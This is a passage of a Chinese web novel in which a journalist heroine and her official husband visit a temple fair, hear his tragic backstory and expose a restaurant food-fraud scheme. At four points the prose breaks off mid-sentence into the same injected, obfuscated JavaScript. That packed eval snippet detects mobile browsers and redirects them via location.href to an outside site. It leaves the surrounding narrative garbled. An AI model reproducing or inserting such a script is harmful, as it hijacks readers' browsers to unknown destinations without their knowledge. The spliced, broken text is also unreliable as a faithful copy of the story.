马车在大礼国寺门前停下,孟允抒刚从车内探出半截身子,来自四面八方的喧闹就一起向她涌来,将她层层包裹在其中。 她的双脚踩在地面上,却在一片嘈杂的冲击下觉得脚步飘然,甚至有些站不稳。纷乱之间,她环视了一圈眼前的场景,平生第一次体会到“目不暇接”的具体含义。 孟允抒集中注意力,回想了一下她先前看过的大礼国寺地图,按她事先计划好的路线出发。 她拍拍正在东张西望的许昭:“许公子,我们先往这边走。” 庙会上有身上挂满鼓锣的流浪艺人,行走在人群中敲敲打打,时不时拿起随身携带的其他乐器拨弄一番;许多民间艺术团体也在此进行表演,杂耍、驯兽、歌舞应有尽有,音乐声与喝彩声不绝于耳。 孟允抒走过几个摊位就要驻足欣赏一番,在闹市中不得不提高嗓门对许昭喊道:“难怪你想来逛庙会,果真是热闹非凡。” 许昭也少见地扯着嗓子喊:“我幼时最喜欢逛庙会,不过我们那里一年到头也办不了几场。” 孟允抒觉得他们再这么喊下去,过不了一刻两人就都该失声了,于是拉着许昭快步拐到一条行人稍少的路上。 这条道路两边的商贩售卖的大多是些手工艺品,尽是些奇巧精致的玩意儿。孟允抒来了兴致,热情洋溢地跑到那些摊贩前询问详情。 她认真听完摊主讲解绢人的制作过程,正要拿起旁边那个滚灯提问,许昭蓦地在旁边问道:“你有想要的东西吗?” “对,对。”那摊主见状连忙附和,他打量了一下许昭,眼睛都笑得眯成两条细线,撺掇孟允抒花钱,“姑娘既然是带着郎君一同前来,有什么想要的就赶紧开口,过了这村可就没这店了。” 孟允抒暗道不妙。她的预感成真了。 她从一开始就根本没想买东西,只是想拉摊主做个免费采访,这才一直和他套近乎。许昭这么一说,她哪还好意思再继续问下去。 孟允抒尴尬地赔着笑:“抱歉,我只是想随便看看,打扰掌柜了。” 说着,她赶紧拉了许昭一把:“快走。” 但许昭好像没理解她的意思,依然执着地钉在原地。 他看看眼前琳琅满目的商品,转头问孟允抒:“七巧板,你要吗?” 孟允抒窘迫得无地自容,又不好直接在摊主面前和许昭发生冲突,只能飞快地回答:“不要,赶紧走。” “风筝呢?” 孟允抒咬牙切齿地答道:“不要。” 许昭像是铁了心要和她对抗到底,说出一连串的商品名。 “九连环?不倒翁?拨浪鼓?陶笛?竹蜻蜓?陀螺?” 合着许昭隔这报菜名呢。 孟允抒只能威胁他:“你再不走我自己走了。” 她撂下一句话,就大步流星地继续向前。 许昭只好向摊主道了歉,追上孟允抒的步伐。 他观察着孟允抒的表情,见她有些发恼,语无伦次地解释道:“请姑娘不要生气,我见你对那些东西爱不释手,所以才会那样发问。” 孟允抒见许昭小心翼翼的模样觉得有些歉疚,他问那句话完全是出于好心,她确实不该责怪他。 “多谢公子惦念,我没有生气。”她缓和语气对许昭笑笑,以此打消他的顾虑,转而提醒他道,“只是在我提问时,你不要贸然开口。” 许昭赶紧点头表态:“我明白了。” 孟允抒又来到一处卖假发髻的摊位前,此处挤满了女子,孟允抒听见其中几人讨论着“借头”之事。 “借头”就是指女子之间共享发髻的行为。通常情况下,品质上乘的假发髻价格高昂,孟允抒眼前那顶加了珠翠装饰的发髻甚至标价八千文,是妥妥的奢侈品。 孟允抒上前询问摊主详情,让他介绍了几顶价格亲民的假发。这些假发由丝线或动物毛发制成,可谓那些高档假发的平替,唯一美中不足的是质感略差,但临时拿来糊弄旁人还是绰绰有余。 孟允抒将这条见闻深深烙在脑海中。 除了撰写报道的需要,或许她在日后乔装打扮时也能用得上这种假发。 她这样游览了数个摊位,欣赏过书画,体验了游戏,在此过程中,许昭始终不发一言,恪守着她的要求。 孟允抒转头看了看许昭,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15378937|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用询问的眼光回看向她。 许昭不但不说话,好像连呼吸都被刻意屏住了。 孟允抒觉得她对许昭太过严苛,于是收回她的禁令,半是好笑半是自责地说:“许公子,我已经收集了足够多的新闻素材,你可以说话了。” 许昭左右张望一番,他们已经行至这条路的尽头,只余下旁边两三个摊位没有游览。 他指着其中一个热闹非凡的摊位说:“我们去那里看看。” 孟允抒随他来到摊前,发现上面尽是些珠宝首饰,其中有不少华丽繁复的钗环,可见其工艺精湛。 摊主和另一边的顾客回完话,笑容满面地迎上来问:“姑娘是想买哪种类型的首饰?喜欢造型精致些的还是简单大方些的?” 孟允抒还想用那句“随便看看”来回应摊主的热情,却被许昭提前打断了施法:“你在里面选些自己喜欢的。” 孟允抒还没来得及拒绝,他又补充:“一个也行。” 听着许昭这不容拒绝的语气,孟允抒觉得这更像是他给自己下的一道命令。 她迅速扫了一遍摊位上的饰品标价,顿时觉得荷包一痛。 孟允抒随便找了个理由搪塞许昭,催促他赶紧离开:“我没有喜欢的,我们还是去别处看看吧。” 摊主却已经将她的动作尽收眼底,笑着对许昭打趣道:“公子,你家夫人心疼你,这是想给你省钱呢。” 这句话更加坚定了许昭要给孟允抒送礼的决心。他回忆着萧睿言传授给他的小妙招,想起只有最后一条还没派上用场。 他看看旁边那对正在打情骂俏的年轻男女,僵硬地伸出手,轻轻拽了拽孟允抒的袖口。 “你戴上这些一定很好看,就当是为我买的,好不好?” 孟允抒惊愕地站在原地,无数猜想从她的大脑中飞速闪过,却没有一条能解释许昭的行为动机和逻辑。 从许昭今天的种种反常行为来看,他怕不是吃错了药。 如果买一件饰品能让许昭恢复正常,那这笔钱就花得值。 于是,孟允抒在满摊的饰品中仔细搜寻一番,终于找到一支符合她审美又极具性价比的银簪。 许昭爽快地付了钱,满心欢喜地把盒子交给孟允抒,仿佛收到礼物的人是他一样。 孟允抒掂着手里沉甸甸的盒子,她觉得不能任由许昭这么继续犯病,不如直接询问他行为反常的原因。 她开门见山道:“从我认识公子以来,我就不甚了解你,现在我更不明白了。公子若是有什么想法,或是有心里话,还请对我明说。” 许昭见她神情严肃,忽然想起萧睿言对他说的话。 他问孟允抒:“姑娘是否觉得我难以接近?” “你鲜少向我袒露心迹,我的确无法理解公子所思所想,更不知道你想做什么。”孟允抒抓住这个契机,趁热打铁道,“你若是一直不肯对我坦言,那我又怎能明白公子心意?” 许昭似乎对这番话颇有感触,他沉默良久,目光反复从孟允抒身上扫过。 最终,他给出了一个让孟允抒意外的答案。 “其实,我也不知道我想做什么。” 孟允抒从许昭的表现中察觉到,他的意志有所松懈,现在是与他谈心的绝佳时机。她将许昭的话细细剖析几遍,决定对他做个深度访谈,让他能更清晰地进行自我表达。 她四下搜寻一番,指着侧方的那处高台说:“那里稍微安静些,公子随我去那边说吧。” 19. 过往 孟允抒带着许昭登上高台,从此处可以望见山头的一轮圆月。夜空晴朗,是个好天气。 她安排两人面对面地坐在宝殿旁边的石凳上,因为两凳间的距离较窄,他们这样坐下后,两人的膝盖就这么碰在一起,达成物理意义上的“促膝长谈”。 许昭不解地看向孟允抒:“我们为何要这样谈话?” “你别问那么多,照做就是。”孟允抒笑笑,“把手给我。” 她轻轻握住许昭的手放在两人膝头,先让许昭放松,而后引导他与自己的目光相接。 这是之前他们单位举办心理团建活动时的一个环节。在此种情况下,所有人都能在不知不觉中说出真心话,彼此坦诚交流,孟允抒觉得效果很好。 许昭不习惯直视孟允抒,把视线挪到别处问:“这也是你所说的‘采访’?” “是。但公子今日所说之事,只有我一人知晓,我保证不将此事外泄。”孟允抒鼓励他看过来,“你若是信我,就请对我直言。公子现在心情如何,或是有什么感受?” 许昭对上了她的视线。 孟允抒的发丝被晚风轻轻扬起,眼中却盛满细碎的灯火,似是要映亮一方夜空。 许昭倏然想起盛放的烟花,美丽绚烂,可同时转瞬即逝。 一幕幕往事在脑海中浮现,他不由得攥紧孟允抒的手,沉痛而急促地说出两个字:“害怕。” “公子莫怕,我在此处听你说话呢。”孟允抒安抚他的情绪,试探着问,“你是不是想起什么了?” 许昭点头:“姑娘可愿听我细细道来?” 他愿意主动敞开心扉,孟允抒觉得这是个积极的信号。 “那是自然。” 许昭沉思片刻,似是在组织语言。而后,他讲起了他的过往。 “我出生在绥宁县的一个村子里,父母皆是普通农民。我对我父亲的印象不深,只记得他好赌嗜酒,整日醉醺醺的,又满口脏话,时常打骂我与母亲。我七岁那年,我们县闹饥荒,父亲卷走了家中所有的财物逃荒,再也不见踪迹。” 孟允抒虽已与许昭成婚两年,却只从旁人那听说他无父无母,并不了解其中详情。今日是他首次提及自己的身世。 绥宁县是胤朝的一个小县城,地处西北,气候干旱,常年黄沙漫天。那里的经济本就落后,乡下人的生活只会比城中百姓更加艰难。 “面对这个烂摊子,我母亲觉得这下反倒好了,终于摆脱了我父亲那个混账。她说,与其冒着风险改嫁,不如由她一个人带我自谋生路。她连字都认不得,却总是叮咛我用功勤学。” 许昭脸上浮现出愧疚的表情。 “我幼时顽劣不喜读书,对考取功名一事嗤之以鼻,只顾着与伙伴玩闹,常常惹得母亲发火。她见我不思进取,索性将我从私塾带出来,让我在三伏天顶着正午的日头,和她一起去田间劳作。我受不住酷热,就央求她放我回去,发誓从此之后一定刻苦念书。” 孟允抒点头,示意他继续往下讲。到此为止,这就是个老套的劝学故事。 “我母亲却失望地摇头。” 孟允抒未曾料到故事会突然发生转折,愣怔地看向许昭。 “她指着那些汗如雨下的农民对我说,她劝我读书,并不是为了让我逃离这样的生活,而是希望我能寻找治世良策,使天下黎民都不必承受这种苦难。” 孟允抒没想到,在胤朝,一个不识字的贫民妇女竟能拥有如此广博的胸怀。 许昭停顿片刻,像是对母亲致以深切的敬意。 过了一会,他才重新开口。 “从那天起,我懂得了学习的真正意义,终于在二十一岁那年考中举人。在紧随其后的会试中我名落孙山,绥宁县的县衙内又恰好有职位空缺,所以我先在那里临时任职,打算等三年后再次参加会试。” 孟允抒记得,许昭是二十四岁时中了探花,而后一年两人成婚,时间对得上。 “初入官场,我想法单纯,性格耿直,空有满腔抱负却不懂得圆滑处事,故而得罪了不少人,却也因此结交了两三个志同道合的至交好友。” 孟允抒心想,许昭的作风倒是一直都没怎么变。 “绥宁县距京城两千里远,皇上和高层官员都鞭长莫及,当时的知县只手遮天,与通判沆瀣一气搜刮民脂民膏。我与那些好友发现此事,就在暗中搜集证据,打算绕过他们,直接将罪证呈往上级。” 铲除地头蛇绝非易事,孟允抒不由得紧张起来:“结果如何?” “有人走漏了风声。知县得知此事,寻个由头将我们几人的家眷请到他府中,其中包括我母亲。他假意请客,实际上是想控制住他们,用他们的性命作为要挟,并让他们写信劝诫,让我们就此罢手。” 在这样两难的境地中,孟允抒难以想象,如果当事人是她自己,她会做出怎样的选择。 “我没有犹豫太久,因为我母亲没有给我留时间。” 许昭的声音变得沙哑,眼中逐渐蒙上一层水雾。 “她知晓内情后,当面大骂知县狗官,说她绝不会被他利用,让他奸计得逞。她高呼一声‘苍生何苦’,当即撞墙而亡,血溅知县府。” 她死得决绝,壮烈,有气节。 一滴眼泪从许昭面庞上骤然坠落,砸在他的手背上,迸出一朵碎裂的水花。 孟允抒被他母亲以死明志的行为深深触动,只是沉默地伸出手指,轻轻拭去许昭手背上的泪痕。 许昭平复心情,继续讲了下去。 “我没了后顾之忧,但其他人并非如此。有些人选择向知县倒戈,有些人同我一样东躲西藏,最后成功让此事上达天听。在这一过程中,我的挚友与我反目成仇,也有几人命丧黄泉。” 孟允抒看向许昭朦胧的泪眼,心情十分沉重。 她和许昭心里都清楚,他所做的事完全正确,可它的代价实在太过惨痛。他打了一个漂亮的胜仗,同时也输得一无所有。 “后来我到京城做官,终于见到众人口中的繁华盛景。但我与亲友的约定却一个都没有实现。” 许昭泣不成声。 “中举那天,我高兴地对我娘说,从此之后她不必再住漏风的破屋,能有一床完整的被褥,不用去市集上捡别人丢掉的烂菜叶。” “在我小时候,她就常常站在田间地头眺望。我问她在看什么,她说她在想象京城人的生活。我对她承诺,我一定会做上京官,带她去往天子脚下。可她熬了一辈子,最终也没能看一眼京城。” “对我那些好友来说也一样。起初我们互相打趣,若有一人飞黄腾达,就邀请其余人去皇都游玩。等我到了此处定居后才发现,我已不知该将请柬寄给何人了。” 许昭的话语被啜泣揉成七零八落的字词,声调也抖得厉害。 “从那时起我意识到,政治远比我想得复杂。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“工部的胡大人做事雷厉风行,治水有方,我甚是钦佩。可他不修边幅,走到哪里都臭气熏天,我好几次都想提醒他快去沐浴。” 孟允抒一听,这是个好机会,许昭再说下去可能还会爆出更多猛料。 她赞扬许昭:“公子做得很好,继续。” 许昭越说越兴奋,语速飞快,将各种琐事都抖搂了个干净。 “你办报之初,我每天都悄悄派人前去买报,为你冲销量。” “什么?” 孟允抒的质疑让许昭猛地回过神。 这半天他说话不经大脑,一不小心把这事说漏嘴了,简直是不打自招。 “不是,我……” 许昭手足无措地辩解,但他的话语中漏洞百出,就像一团越绕越乱的毛线球。 孟允抒绷着脸,站起身丢下一句话:“走。” 许昭急忙跟上她,小声问道:“去哪?” 见孟允抒半天不说话,许昭心里七上八下,只能试探性地按住她的肩膀:“我已知错,以后绝不会再这样做,请姑娘见谅。” 孟允抒被他扳得转过脸来,再也憋不住笑意,放声大笑起来。 “我明白公子是一片好心。” 她笑了一阵,直起腰指向那条热闹的小吃街,回答许昭那个关于他们去哪的问题。 “去给你买芝麻糖。” 20. 美食测评 时至正午,孟允抒从椅子上起身,活动了一下酸痛的脖颈,而后穿过中庭,来到前面的店铺中。 她见秋盈还在忙碌,就简短地和她打了声招呼:“秋盈,我要外出采访,不到两个时辰就能回来。社中事务就先交给你了。” “等等。”秋盈叫住孟允抒,喊来其他伙计应付顾客,腾出空赶到她身边问,“你要去何处采闻?” “揽月阁。”孟允抒回答,“最近那里推出了几道新的特色菜,有不少人对其感兴趣。” 秋盈点头,又免不了叮咛她几句安全问题。 孟允抒打趣道:“都这么久了,你还在担心我。社中那么多事,还不够你操心的?” 秋盈不好意思地笑笑,转而问她:“这种选题怎么会落到你头上?” 在过往的新闻选题当中,孟允抒往往会选择难度较高的任务,或是被其余人挑剩下的主题。本来美食测评是份好差事,按理来说应当甚是抢手,不会由她进行采闻。 “我们现在的资金不足,探官的采闻费用申报上去后,最起码要过上一月才能收回花销。”孟允抒说,“揽月阁的菜品价格高昂,没人想预先垫付。” 秋盈轻轻叹息:“等我们再积累些名气,这些问题就能迎刃而解了。” 名与利总是相伴相生的,当一种报纸的名号足够响亮,自然会有人主动请他们打广告做营销,达成合作共赢的伙伴关系。 孟允抒不想走捷径,就只能扎扎实实地从无名小卒做起,自己想办法推广他们的报纸。 “说不定近日我们就能碰上桩爆款新闻,接着就名声大噪。” 她和秋盈调侃一番,向她告辞后前往揽月阁。 孟允抒刚跨进揽月阁的门槛,便闻到扑鼻而来的香气。 现在正是饭点,作为京中规模最大、最有名气的食肆,揽月阁已经坐满了人。他们桌上的菜品种类繁多,从绣吹羊到蟹酿橙,从煎黄雀到杏酥饮,各种菜系一应俱全。佳肴混着美酒,谈笑和着酒令,店小二忙着上菜送客,好不热闹。 一个伙计瞅见在门口张望的孟允抒,乐颠颠地跑过来问:“姑娘一个人?” 孟允抒点头:“听说揽月阁近日出了不少招牌菜品,我特意来尝尝鲜。” 她又提出自己的要求:“有劳你为我寻处一楼的座位。” 揽月阁的二三楼都是雅间,她可不想付额外费用。 “好嘞,您这边请。” 店小二引着孟允抒在一处空桌上坐下。这张桌子离楼梯很近,她能听得见往来食客的脚步声在她头顶咚咚作响,甚是吵闹。 那伙计也意识到这一点,在孟允抒还没开口前就赔着笑说:“姑娘,真是对不住,这会店里人多,没几个空位,您先将就着吃。待会我请老板给您抹个零,您看如何?” 孟允抒心想,难怪揽月阁能成为京中一流的食肆。就冲这眼力见儿和服务态度,它要是不受欢迎简直天理难容。 然而,随着她接过伙计拿来的菜单,将上面的条目一一看下去,她的笑容逐渐消失。 在价目表上,和前面的那列整数相比,后缀的那点零头简直不足挂齿。 “买家不如卖家精”真是一句颠扑不破的真理。 她正准备忍痛点单时,头顶的楼梯上忽然传来一个熟悉的声音。 “我只是秉公办事,并未帮上你什么忙。无功不受禄,潘掌柜不必如此客气。” 孟允抒循声望去,只见许昭已经下到最后一级楼梯,和揽月阁的掌柜边走边说话。他身后还跟着两人,看样子是他的下属。 似是察觉到孟允抒的目光,许昭也看了过来,在发现她后微微一怔。 潘掌柜见状连忙上前:“大人认识这位姑娘?” “嗯。”许昭点点头,对身后的两人交代道,“你们先回去,我在此处用膳之后再走。” 其中一个下属看上去非常年轻,直截了当地抒发自己的疑惑:“您刚才不是说不吃饭吗?掌柜劝了您半天都不答应,怎么这会又要吃饭了?” 他旁边那个下属则咳嗽一声,用眼神指了指孟允抒:“大人有事要忙,咱们先回官府。” 那个年轻下属没明白他的意思:“反正我们也该吃饭了,为什么不一起吃?哎你用胳膊撞我干什么?” 两人互相拉扯一阵,终于走出了店门,许昭和掌柜则走到孟允抒桌边。 潘掌柜热情地迎上来行了一礼:“既然姑娘是许大人的熟人,那也是我们揽月阁的贵客,请随我去二楼的雅间就座。” 说着,他又训斥身后的伙计:“你怎么连贵客的身份都认不出,当真是有眼无珠。” 孟允抒很清楚,这明摆着就是演戏给她看,却也只能遵循礼节劝解道:“算了算了,潘掌柜消消气。我与许大人只是点头之交,称不上什么贵客。我觉得此处很好,就不劳烦掌柜给我换地方了,您快去忙吧。” 潘掌柜再次客套一番后让伙计留下,再三嘱咐他不得怠慢许昭和孟允抒二人。 孟允抒点完了单,这才有时间与许昭独处。 伙计前脚刚走,许昭就丢出了一个问题,声音满是委屈。 “姑娘与我只是点头之交?” 孟允抒早就发现许昭心不在焉,她还以为他是在思索什么重要的事,闹了半天原来是在纠结这个问题。 许昭直来直往惯了,他不懂这些虚礼倒也正常。 孟允抒耐心解释道:“我要是不那样说,掌柜肯定会坚持让我去楼上。不付钱我良心不安,付钱的话又是一笔不小的数目,我可不想当冤大头。” 许昭却不肯善罢甘休,追问她道:“那在你眼里,你与我是什么关系?” 孟允抒觉得这话像小学生问的。 既然如此,她也只能用小学生的方式作答。 她拍拍许昭的肩,语气深沉道:“我和你天下第一好。” 许昭显然对这个回答非常满意,他笑了好一会才想起来问她:“你怎么在这?” 孟允抒向他讲述了自己前来采闻之事,又反问他来这的目的。 “前段时间,在排云和其余民众的揭发下,县衙中有几名官员因收受贿赂落马,但恐怕还有许多漏网之鱼,他们的罪行还并不明了。这阵子我在清点旧案卷宗,对其中的疑案进行重审。” 谈到正事,许昭的表情重新严肃起来。 “其中有一桩命案发生在上个月,案发地点就在揽月阁。据死者的朋友所讲,当时他正与死者一同吃饭,死者却突然倒地不起。待他去探察死者情况时,他已经没了鼻息。他急忙大声呼救,掌柜也迅速差人报了官。” “县衙中关于此案的卷宗记录,死者是陈疾发作而亡。但我觉得其中有许多蹊跷,故来揽月阁询问详情。” 后面的事孟允抒不用想就知道,肯定是在许昭问完话后,掌柜邀请他在揽月阁吃饭,但他执意不肯。 不知是不是因为此事属于意外事件,不算谋杀案,揽月阁的生意看上去并未受到命案影响,此时依旧人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406984|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满为患。 孟允抒嗅到一丝新闻的气息,想向许昭打听更多详情:“若不涉及案件机密,公子可否向我透露一二,你觉得此案有哪些蹊跷?” 许昭略一思索回答道:“案情的具体细节我不便告知于你,请姑娘见谅。不过有些消息早已公之于众,告诉你也无妨。” 他从案发当晚的事情开始讲起。 “死者名叫陈修远,自出生以来就患有心痹之症。他在一月以前的殿试中位列三甲,被赐予同进士出身。按照他朋友柳玉成的口供,那日他为陈修远祝酒庆贺,席间他的情绪十分激昂,却突然呼吸急促,倒地挣扎片刻就没了动静。情绪剧烈起伏的确会诱发心痹,或许正是因此,陈修远才会病发身亡。” “我重审此案后经过调查得知,陈修远身有固疾却调养得当,除过他幼时发过一次病,这些年来一直未犯。” 孟允抒与许昭对视一眼。 所以,陈修远的死因并不确凿。 “案发当晚也有其余食客在揽月阁中用膳,有些人在听闻此事后曾跑去陈修远处一探究竟。我找来这些见证人问话,他们描述的死者状况与卷宗记录倒是完全一致。” 卷宗上的案情描述来自陈修远的朋友与掌柜。至少在这部分上,他们没有撒谎。 “面色痛苦,口唇青紫,嘴巴大张,死不瞑目,符合心痹骤发的症状。”许昭沉声说道,“可中毒而亡者,往往也是这般模样。衙役们在现场时并未探查陈修远所用食器中是否有毒,如何能断定他的死因?” 孟允抒顿悟,压低声音问许昭:“你怀疑……” 许昭给出了肯定的答案。 “但凡事都要凭证据说话,尤其在断案时,绝不能先入为主地妄下定论。所以,我还需要多方调查,搜寻更多线索。” 他又讲起案件的最终处理结果。 “陈修远的亲戚都远在千里之外,他在京中有位名叫陈暄的同乡故友,他曾代陈修远的家人去县衙申冤,请求他们彻查此事。这案子没费太大功夫,半月前县尉宣布结案,此事被定性为意外事件,所以对柳玉成和揽月阁的处罚都不算重,由双方各自赔偿五十两银子就算了事。” 孟允抒疑惑:“一条人命只值一百两,陈暄以及陈修远的家人能满足于此吗?” “方才我问过潘掌柜案发经过和案件细节后,也向他提出此番疑问。”许昭回答,“潘掌柜说,陈暄对县衙给出的判罚不满却上诉无门,屡屡碰壁后,索性直接去找他和柳玉成。” “陈暄三番五次地上门叨扰,柳玉成坚称此事的主要责任不在于他,不愿多赔钱,而潘掌柜却出了八百两银子。” 孟允抒发现了疑点:“八百两不是个小数目,潘掌柜为何能掏得这么爽快?” “我也对此抱有疑问。”许昭赞同地点头,“据潘掌柜所说,这是因为陈暄死缠烂打,他不想让陈暄扰了他的生意,所以想要尽快息事宁人。” 但在旁人看来,这种行为颇有做贼心虚的意味。” 孟允抒陷入沉思,脑海中浮现出无数猜想。许昭掌握的信息显然比她更多,但他还未得出结论,她也不好妄加揣测。 一声怒喝打断了她的思考。 “真是晦气!你们赚了那么多钱,就让我们吃这种不干不净的东西?” 孟允抒和许昭一同望向声音的来源,只见店中好事的食客纷纷涌向那张靠墙角的桌子。 她出于记者本能,迅速拉起许昭跑了过去:“走,我们去看看。” 21. 食品卫生 两人赶至那处桌位时,围观群众已经将桌子围得水泄不通。很快有人注意到身着公服的许昭,众人小声议论着“是官府的人”,自觉地为他让开一条路。 孟允抒跟着他沾了光,免去了从人群中挤过去的麻烦。 不得不说,在有些时候,官方身份就是好用。 孟允抒看向坐在桌边的两名男子,他们都是满面怒容,双手抱臂,一副要与店家论个高下的架势。两人身旁站着名伙计,不停地向他们赔罪,让他们先息怒。 而在他们的桌子上摆着两个空碗,碗中只余吃完面后剩下的汤汁,以及两只仰面朝天的苍蝇。 从几人说话的内容中可以听出事情的经过:这两名男子来揽月阁要了两碗面,却在吃完后才发现碗底有苍蝇,顿时觉得一阵反胃,要求店家给出合理的解释和赔偿。 猜疑的情绪很快在群体中蔓延,“恶心”“想吐”的嘀咕声此起彼伏,有不少人也开始怀疑,自己是否吃下了不干净的饭菜。 在嘈杂的议论声中,系统的声音却尤为清晰。 【您已触发任务:七日内探明揽月阁的食品安全与卫生问题,并将真相公之于众。任务完成后您可获得300点声望。】 不愧是揽月阁,连任务奖励都跟着它水涨船高。 “诸位客官让一让。” 潘掌柜的声音由远及近,他急匆匆地跑到桌前,仔细瞅了眼碗里的苍蝇,对两名男子行了礼,而后赔着笑说:“两位客官,今日没让你们吃好是小店的罪过,确实该骂。” 他像是给众人澄清事实一般,高声说道:“但如各位所见,揽月阁中连半只蚊虫都没有,后厨的把关更是严格,你们的饭菜里绝不可能出现苍蝇。” 揽月阁的名声在外,可谓是有口皆碑。孟允抒经过亲身体验也发现,揽月阁的饭菜价格固然超出同行许多,但肆中的食物味道、店铺卫生状况、伙计们的服务态度确实都对得起这样的消费水准。 潘掌柜的话压下了一部分骚乱,可怀疑的种子一旦种下就难以根除,依然有不少人在窃窃私语。 桌旁坐着的一名男子冷笑道:“掌柜的意思是说,这事和你们没关系,不予赔偿?” “我并无此意,请客官不要误会。”潘掌柜连忙解释,“照我们店里的规矩,若是客官发现饭菜不干净,我们会按照您整单价格的十倍进行赔偿。钱财事小,可我们不能无故受冤,这有损揽月阁的声誉。” 他看看他们碗中的异物:“我方才已经问过后厨的厨子和帮工,您的面碗自始至终都没离开过他们的视线,这位跑堂的店小二也向您解释过,在为您上菜时,他并没有看到您的碗里有苍蝇。” “你们都是一伙的,谁知道你们是不是串供?”两名男子对他的解释并不满意,反驳他道,“再说,空口无凭,你们说没有就是没有?” 许昭身后的两人悄悄说道:“就是,我还听说揽月阁上个月出了桩命案,说不定那人也是吃了有问题的饭食才身亡的。” “对,揽月阁那个十倍赔偿的规矩也是在案发之后才设立的,说不定就是欲盖弥彰。” 孟允抒已经听完双方的叙述和证言,眼见流言开始在旁观者中发酵,她上前一步问道:“潘掌柜,还有这两位兄弟,既然你们双方各执一词互不相让,可否由我们临时充当判官,查证此事?” 潘掌柜欣然应允,两名男子看了看许昭身上的公服,脸上多了几分敬畏:“大人和姑娘请便。” 孟允抒用勺子舀起他们两人碗中的苍蝇,放在眼前仔细观察一番后交给许昭过目。 她见许昭蹙起眉头,想来他心中已有答案。 保险起见,她又和许昭带着两名男子去后厨转了一圈,确认其卫生情况如潘掌柜所述。 最后,他们回到桌前,再次将注意力集中在那两只碗上。 “方才我已听你们讲述了事件经过,但有些细节我想向你们再次确认。” 孟允抒面向那两名男子问:“据二位所说,你们是吃完面后才发现碗底有异物,而在此之前,包括搅拌面条的时候都并未看到苍蝇,对吗?” “没错。” 孟允抒又转向店小二:“你上菜的时候也没见到碗中有异物?” 伙计连连点头:“对。” “如此说来,这苍蝇一直待在碗底,所以各位起初并未发觉。” 潘掌柜想要辩解:“怎么可能!” 孟允抒让潘掌柜先冷静:“掌柜莫急,我只是根据各位的证词说出我的推断。” 当事人和旁观者都认可她的推论,孟允抒就继续说了下去。 “既然如此,这苍蝇应是一直被压在面条下方,在汤汁中浸泡许久。” 她举起勺中的那两只苍蝇,让众人看得更清楚些:“可这两只苍蝇的尸体完好无损,并未发生任何形变,甚至连翅膀都没有完全湿透。两位兄弟对此作何解释?” 不等他们作出回答,潘掌柜立刻反应过来,瞪大眼睛说:“这苍蝇是你们吃完面后自己放进去的!” “你们休要信口雌黄!”那两人恼羞成怒,反咬一口道,“你们有什么证据表明,这两只苍蝇是我们放的?” 孟允抒给许昭使了个眼色。 “若我没有猜错的话,证据应该就在二位身上。”许昭会意地说道,“你们是自己主动交出证据,还是等我搜身?” 那两人还在装糊涂:“什么证据?我们不明白大人的意思。” “那就对不住了。” 许昭上前一步,强硬地从一人前襟的口袋中掏出一个扁小的圆盒,打开盒盖公开示众,让在场所有人看清,盒子中空无一物。 明眼人都看得出来,这就是他们先前用来装苍蝇的容器。 许昭转向两名男子问道:“请问二位,为何要装着这样一个空盒出门?” 两人一时无言以对,互相用眼神暗示彼此想办法。 许昭的面色平静:“没关系,要是两位现在想不起来,那就请你们随我去刑部坐坐,与我细细道来。” 在那两人眼里,许昭现在分明就是凶神恶煞的形象,他们稍有不慎可能就会被带走坐牢。 两人见势不妙光速滑跪,一边磕头一边认罪:“大人饶命,我们不是有意欺瞒您。” 他们又连忙向掌柜赔罪:“潘掌柜,我们知错了,您大人不记小人过,就原谅我们这一次吧。” 许昭让他们起来说话,潘掌柜则怒不可遏:“你们差点砸了我揽月阁的招牌!说,你们为何要污蔑我们?” “前些日子我们听说,揽月阁出了新规矩,就是您说的,要是发现饭菜不干净,就能得到原价的十倍赔偿。”一名男子惊慌失措地说道,“我们贪图钱财,一时鬼迷心窍,这才出此下策。我发誓,我们再也不敢了!” “我看你们分明是胆大包天。” 一句话出口,众人纷纷愣怔地看向孟允抒。 孟允抒佯装怒道:“都这个时候了,你们还不说实话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416206|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,当真是不见棺材不落泪。” 不单是那两名男子,潘掌柜听到这话也十分诧异:“姑娘何出此言?” 